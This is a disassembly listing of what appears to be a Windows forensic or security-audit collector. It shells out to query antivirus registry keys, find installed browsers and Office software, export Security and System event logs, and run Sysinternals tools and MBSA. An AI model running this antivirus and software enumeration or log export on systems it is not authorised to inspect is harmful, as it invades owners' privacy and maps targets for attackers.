mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeMcAfeeAVSolutionDatReputation___v_dwLastDATUpdateStatus____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeMcAfeeAVEngine___s____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeMcAfeeDesktopProtection___s____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeAviraLauncher___v_ProductName____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeAviraAntivirus___v_CurrentVersion____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeAviraAntivirus___v_LastUpdate____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstallSophos_Endpoint_Defense___v_DisplayName____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstallSophos_Endpoint_Defense___v_DisplayVersion____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__antivirus.exe__stab_AntivirusAll.log
call fcn.00402330
inc dword [0x49ea10]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
cmp byte [0x4a022f], 0
je 0x40f3ef
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x363c]
call fcn.004148e0
add esp, 4
push str.__Info__Gathering_VANS_05_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x363c]
mov byte [ebp - 4], 0x4b
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_vans.bat
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
jmp 0x40f44d
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x363c]
call fcn.004148e0
add esp, 4
push str.__Info__Gathering_VANS_05_25__Disable____record.log
mov edx, eax
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x363c]
mov byte [ebp - 4], 0x4e
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x48
call fcn.00413400
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x363c]
call fcn.004148e0
add esp, 4
push str.__Info__ProductPath_06_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x36c0]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x363c]
mov byte [ebp - 4], 0x51
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x36c0]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86____findstr__i_java.exe___ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files___findstr__i_java.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86____findstr__i_WINWORD.EXE____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files___findstr__i_WINWORD.EXE____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86____findstr__i_AcroRd32.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files___findstr__i_AcroRd32.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86____findstr__i_Acrobat.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files___findstr__i_Acrobat.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__SystemRoot_System32MacromedFlash__findstr__i_flash____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__SystemRoot_SysWow64MacromedFlash__findstr__i_flash____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86____findstr__i_WinRAR.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files___findstr__i_WinRAR.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86____findstr__i_brave.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files___findstr__i_brave.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86_googlechrome_application___findstr__i_chrome.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Filesgooglechrome_application___findstr__i_chrome.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86_Mozilla_Firefox___findstr__i_firefox.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_FilesMozilla_Firefox___findstr__i_firefox.exe____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Files__x86_microsoftedge_application___findstr__i__msedge.exe_____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Program_Filesmicrosoftedge_application___findstr__i__msedge.exe_____ProductPath.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__dir__s__b__C:Users___findstr__i_vivaldi.exe____ProductPath.log
call fcn.00402330
push 0xbb8
call edi
sub esp, 8
lea ecx, [ebp - 0x3870]
push str.ProductPath.log
call fcn.00412d00
cmp dword [ebp - 0x3814], 0
jne 0x40f621
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3654]
call fcn.004148e0
add esp, 4
push str.__Error__Open_ProductPath.log_Fail____record.log
mov edx, eax
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3654]
mov byte [ebp - 4], 0x54
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x3510]
call fcn.00413400
jmp 0x40f7b1
mov ecx, str._c_del__f__q_ProductVer.log
call fcn.00402330
mov eax, dword [ebp - 0x3870]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x3864], 1
jne 0x40f7b1
push 0
push 0x400
lea eax, [ebp - 0xa20]
push eax
lea ecx, [ebp - 0x3870]
call fcn.00413080
lea eax, [ebp - 0xa20]
push eax
lea ecx, [ebp - 0x3654]
call fcn.004134d0
lea ecx, [ebp - 0x3654]
mov esi, dword [eax + 0x10]
call fcn.00413400
test esi, esi
je 0x40f7b1
lea edx, [ebp - 0xa20]
lea ecx, [ebp - 0x2620]
call fcn.00405210
push 0
push 0
push 0x400
lea eax, [ebp - 0x1220]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x2620]
push eax
push 0
push 0x3b6
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x1220]
push eax
lea ecx, [ebp - 0x35d0]
call fcn.004134d0
push eax
lea ecx, [ebp - 0x3654]
mov byte [ebp - 4], 0x55
call fcn.004147e0
add esp, 4
push str._____ProductVer.log
mov edx, eax
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3654]
call fcn.00413400
lea ecx, [ebp - 0x35d0]
mov byte [ebp - 4], 0x59
call fcn.00413400
lea eax, [ebp - 0x3510]
mov edx, str._a__c_chcp_65001__echo__
push eax
lea ecx, [ebp - 0x36d8]
call fcn.004148e0
add esp, 4
push str._____ProductVer_log.log
mov edx, eax
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x36d8]
mov byte [ebp - 4], 0x5c
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
lea eax, [ebp - 0x3570]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3570]
call fcn.00413400
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x51
call fcn.00413400
mov eax, dword [ebp - 0x3870]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x3864], 1
je 0x40f642
lea ecx, [ebp - 0x3870]
call fcn.00412cc0
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3654]
call fcn.004148e0
add esp, 4
push str.__Info__wmic_Product_07_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x363c]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3654]
mov byte [ebp - 4], 0x5f
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x363c]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__wmic__output:Hotfix.log_qfe
call fcn.00402330
mov ecx, str._a__c_chcp_65001__wmic_product_get_Name_Version_InstallLocation_InstallDate___Product.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35d0]
call fcn.004148e0
add esp, 4
push str.__Info__reg_Product_08_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x3654]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
mov byte [ebp - 4], 0x62
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3654]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3784]
push str._a__c_chcp_65001__reg_query___HKLMSoftwareWow6432NodeMicrosoftWindowsCurrentVersionUninstall___s__reg:64___x64Product.log
call fcn.00413230
push str._a__c_chcp_65001__reg_query___HKLMSoftwareMicrosoftWindowsCurrentVersionUninstall___s__reg:64____x64Product.log
lea ecx, [ebp - 0x373c]
mov byte [ebp - 4], 0x63
call fcn.00413230
push str._a__c_chcp_65001__reg_query___HKLMSoftwareWow6432NodeMicrosoftWindowsCurrentVersionUninstall___s__reg:32___x86Product.log
lea ecx, [ebp - 0x3754]
mov byte [ebp - 4], 0x64
call fcn.00413230
push str._a__c_chcp_65001__reg_query___HKLMSoftwareMicrosoftWindowsCurrentVersionUninstall___s__reg:32____x86Product.log
lea ecx, [ebp - 0x376c]
mov byte [ebp - 4], 0x65
call fcn.00413230
lea ecx, [ebp - 0x3784]
mov byte [ebp - 4], 0x66
call fcn.004131c0
mov edx, eax
lea ecx, [ebp - 0xe20]
call fcn.00414fe0
lea ecx, [ebp - 0x373c]
call fcn.004131c0
mov edx, eax
lea ecx, [ebp - 0x3220]
call fcn.00414fe0
lea ecx, [ebp - 0xe20]
call fcn.00402430
lea ecx, [ebp - 0x3220]
call fcn.00402430
lea ecx, [ebp - 0x3754]
call fcn.004131c0
mov edx, eax
lea ecx, [ebp - 0x2e20]
call fcn.00414fe0
lea ecx, [ebp - 0x376c]
call fcn.004131c0
mov edx, eax
lea ecx, [ebp - 0x2a20]
call fcn.00414fe0
lea ecx, [ebp - 0x2e20]
call fcn.00402430
lea ecx, [ebp - 0x2a20]
call fcn.00402430
inc dword [0x49ea10]
push 0x3e8
call edi
cmp byte [0x4a0252], 0
je 0x40fc1a
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35d0]
call fcn.004148e0
add esp, 4
push str.__Info__Sec_Sys_event_09_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x3588]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
mov byte [ebp - 4], 0x69
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3588]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
push 0x49ea44
mov edx, str._c_wevtutil_epl_Security
lea ecx, [ebp - 0x35e8]
call fcn.004148e0
add esp, 0x1c
push str.Secevent.evtx
mov edx, eax
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x36d8]
call fcn.00414940
add esp, 4
push str.__ow:true__q:__System_TimeCreated_timediff__SystemTime____1209600000____
mov edx, eax
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x3528]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x36d8]
call fcn.00413400
lea ecx, [ebp - 0x35e8]
mov byte [ebp - 4], 0x6e
call fcn.00413400
push 0x49ea44
mov edx, str._c_wevtutil_epl_System
lea ecx, [ebp - 0x3624]
call fcn.004148e0
add esp, 4
push str.Sysevent.evtx
mov edx, eax
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x35d0]
call fcn.00414940
add esp, 4
push str.__ow:true__q:__System_TimeCreated_timediff__SystemTime____1209600000____
mov edx, eax
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x35a0]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
call fcn.00413400
lea ecx, [ebp - 0x3624]
mov byte [ebp - 4], 0x73
call fcn.00413400
push 0x49ea44
mov edx, str._c_echo_wevtutil_epl_Security
lea ecx, [ebp - 0x3684]
call fcn.004148e0
add esp, 4
push str.Secevent.evtx
mov edx, eax
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x36d8]
call fcn.00414940
add esp, 4
push str.__ow:true__q:__System_TimeCreated_timediff__SystemTime____1209600000_______record.log
mov edx, eax
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x36d8]
call fcn.00413400
lea ecx, [ebp - 0x3684]
mov byte [ebp - 4], 0x78
call fcn.00413400
push 0x49ea44
mov edx, str._c_ehco_wevtutil_epl_System
lea ecx, [ebp - 0x369c]
call fcn.004148e0
add esp, 4
push str.Sysevent.evtx
mov edx, eax
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x35d0]
call fcn.00414940
add esp, 4
push str.__ow:true__q:__System_TimeCreated_timediff__SystemTime____1209600000_______record.log
mov edx, eax
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
call fcn.00413400
lea ecx, [ebp - 0x369c]
mov byte [ebp - 4], 0x7d
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3528]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
lea eax, [ebp - 0x35a0]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
lea eax, [ebp - 0x3570]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
inc dword [0x49ea10]
add esp, 0x18
push 0x3e8
call edi
lea ecx, [ebp - 0x3510]
call fcn.00413400
lea ecx, [ebp - 0x3570]
call fcn.00413400
lea ecx, [ebp - 0x35a0]
call fcn.00413400
lea ecx, [ebp - 0x3528]
call fcn.00413400
lea ecx, [ebp - 0x3588]
jmp 0x40fc7e
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35d0]
call fcn.004148e0
add esp, 4
push str.__Info__Sec_Sys_event_09_25__Disable____record.log
mov edx, eax
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
mov byte [ebp - 4], 0x80
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x66
call fcn.00413400
cmp byte [0x4a0258], 0
je 0x40fcff
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35d0]
call fcn.004148e0
add esp, 4
push str.__Info__oldAutoruns_10_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
mov byte [ebp - 4], 0x83
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_reg_ADD_HKCUSoftwareSysinternalsAutoRuns__v_EulaAccepted__t_REG_DWORD__d_1__f
call fcn.00402330
mov ecx, str._c_oldautorunsc.exe__a___s__c__h__t___autoruns_csv.log
jmp 0x40fd6c
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35d0]
call fcn.004148e0
add esp, 4
push str.__Info__Autoruns_10_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
mov byte [ebp - 4], 0x86
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_reg_ADD_HKCUSoftwareSysinternalsAutoRuns__v_EulaAccepted__t_REG_DWORD__d_1__f
call fcn.00402330
mov ecx, str._c_autorunsc.exe__a___s__c__h__t___autoruns_csv.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x66
call fcn.00413400
cmp byte [0x4a0253], 0
je 0x40fe75
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35d0]
call fcn.004148e0
add esp, 4
push str.__Info__SignCheck_11_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x87
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
mov byte [ebp - 4], 0x89
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__reg_ADD_HKCUSoftwareSysinternalsSigcheck__v_EulaAccepted__t_REG_DWORD__d_1__f
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__h__c___TEMP___2_nul___file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__h__c___USERPROFILE___2_nul____file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__h__c___USERPROFILE_Local_Settings__2_nul____file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__h__c___SystemRoot___2_nul____file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__h__c___SystemRoot__system32__2_nul____file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__h__c___SystemRoot__system32drivers__2_nul____file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__s__h__c___Appdata_..LocalTemp__2_nul____file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__s__h__c___USERPROFILE_Downloads__2_nul____file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__s__h__c___USERPROFILE_Desktop__2_nul____file_windows.csv.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__sigcheck.exe__e__s__h__c___USERPROFILE_Documents__2_nul____file_windows.csv.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
jmp 0x40fed3
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35d0]
call fcn.004148e0
add esp, 4
push str.__Info__SignCheck_11_25__Disable____record.log
mov edx, eax
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35d0]
mov byte [ebp - 4], 0x8c
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x66
call fcn.00413400
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x36d8]
call fcn.004148e0
add esp, 4
push str.__Info__MBSA_12_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x35d0]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x36d8]
mov byte [ebp - 4], 0x8f
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x35d0]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
cmp byte [0x4a0259], 0
je 0x4101df
cmp byte [0x4a0255], 0
lea ecx, [ebp - 0x3684]
push 0x49ebac
je 0x410064
mov edx, str._c_mbsa.exe__xmlout__wa__
call fcn.004148e0
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0x3624]
call fcn.00414940
add esp, 4
push 0x4a0230
mov edx, eax
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x35e8]
call fcn.00414940
add esp, 4
push str..xml.log
mov edx, eax
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35e8]
call fcn.00413400
lea ecx, [ebp - 0x3624]
call fcn.00413400
lea ecx, [ebp - 0x3684]
mov byte [ebp - 4], 0x96
call fcn.00413400
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x369c]
call fcn.004148e0
add esp, 4
push str.__Info__Windows_Update_from_WSUS____record.log
mov edx, eax
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x369c]
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3570]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3510]
call fcn.00413400
lea ecx, [ebp - 0x3570]
jmp 0x41023e
cmp byte [0x4a022b], 0
je 0x410128
mov edx, str._c_mbsa.exe__xmlout__wi__
call fcn.004148e0
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x3624]
call fcn.00414940
add esp, 4
push 0x4a0230
mov edx, eax
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x35e8]
call fcn.00414940
add esp, 4
push str..xml.log
mov edx, eax
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35e8]
call fcn.00413400
lea ecx, [ebp - 0x3624]
call fcn.00413400
lea ecx, [ebp - 0x3684]
mov byte [ebp - 4], 0xa0
call fcn.00413400
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x369c]
call fcn.004148e0
add esp, 4
push str.__Info__Windows_Update_from_MS____record.log
mov edx, eax
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
mov byte [ebp - 4], 0xa3
jmp 0x410017
mov edx, str._c_mbsa.exe__xmlout__nvc__catalog_wsusscn2.cab__
call fcn.004148e0
add esp, 4
push 0x4950d8
mov edx, eax
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0x3624]
call fcn.00414940
add esp, 4
push 0x4a0230
mov edx, eax
mov byte [ebp - 4], 0xa5
lea ecx, [ebp - 0x35e8]
call fcn.00414940
add esp, 4
push str..xml.log
mov edx, eax
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x3570]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35e8]
call fcn.00413400
lea ecx, [ebp - 0x3624]
call fcn.00413400
lea ecx, [ebp - 0x3684]
mov byte [ebp - 4], 0xaa
call fcn.00413400
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x369c]
call fcn.004148e0
add esp, 4
push str.__Info__Windows_Update_from_CAB____record.log
mov edx, eax
mov byte [ebp - 4], 0xab
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
mov byte [ebp - 4], 0xad
jmp 0x410017
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35e8]
call fcn.004148e0
add esp, 4
push str.__Warn__Bypass_Windows_Update____record.log
mov edx, eax
mov byte [ebp - 4], 0xae
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35e8]
mov byte [ebp - 4], 0xb0
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x8f
call fcn.00413400
inc dword [0x49ea10]
push 0x3e8
call edi
cmp byte [0x4a0257], 0
je 0x4102d1
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35e8]
call fcn.004148e0
add esp, 4
push str.__Info__Listdlls_13_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xb1
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35e8]
mov byte [ebp - 4], 0xb3
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_reg_ADD_HKCUSoftwareSysinternalsListDLLs__v_EulaAccepted__t_REG_DWORD__d_1__f
call fcn.00402330
mov ecx, str._a__c_chcp_65001__Listdlls.exe__u____listdlls.log
call fcn.00402330
jmp 0x41032f
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35e8]
call fcn.004148e0
add esp, 4
push str.__Info__Listdlls_13_25__Disable____record.log
mov edx, eax
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35e8]
mov byte [ebp - 4], 0xb6
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
inc dword [0x49ea10]
push 0x3e8
call edi
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x8f
call fcn.00413400
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x35e8]
call fcn.004148e0
add esp, 4
push str.__Info__pslist_14_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0x36d8]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x35e8]
mov byte [ebp - 4], 0xb9
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x36d8]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_reg_ADD_HKCUSoftwareSysinternalsPsList__v_EulaAccepted__t_REG_DWORD__d_1__f
call fcn.00402330
mov ecx, str._a__c_chcp_65001__pslist.exe__t____pslist.log
call fcn.00402330
inc dword [0x49ea10]
push 0x3e8
call edi
cmp byte [0x4a0258], 0
je 0x410442
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3624]
call fcn.004148e0
add esp, 4
push str.__Info__old_handle_15_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xba
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3624]
mov byte [ebp - 4], 0xbc
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._c_reg_ADD_HKCUSoftwareSysinternalshandle__v_EulaAccepted__t_REG_DWORD__d_1__f
call fcn.00402330
mov ecx, str._a__c_chcp_65001__oldhandle.exe__v___handle.log
jmp 0x4104af
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x3624]
call fcn.004148e0
add esp, 4
push str.__Info__handle_15_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0xbd
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x3624]
mov byte [ebp - 4], 0xbf
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
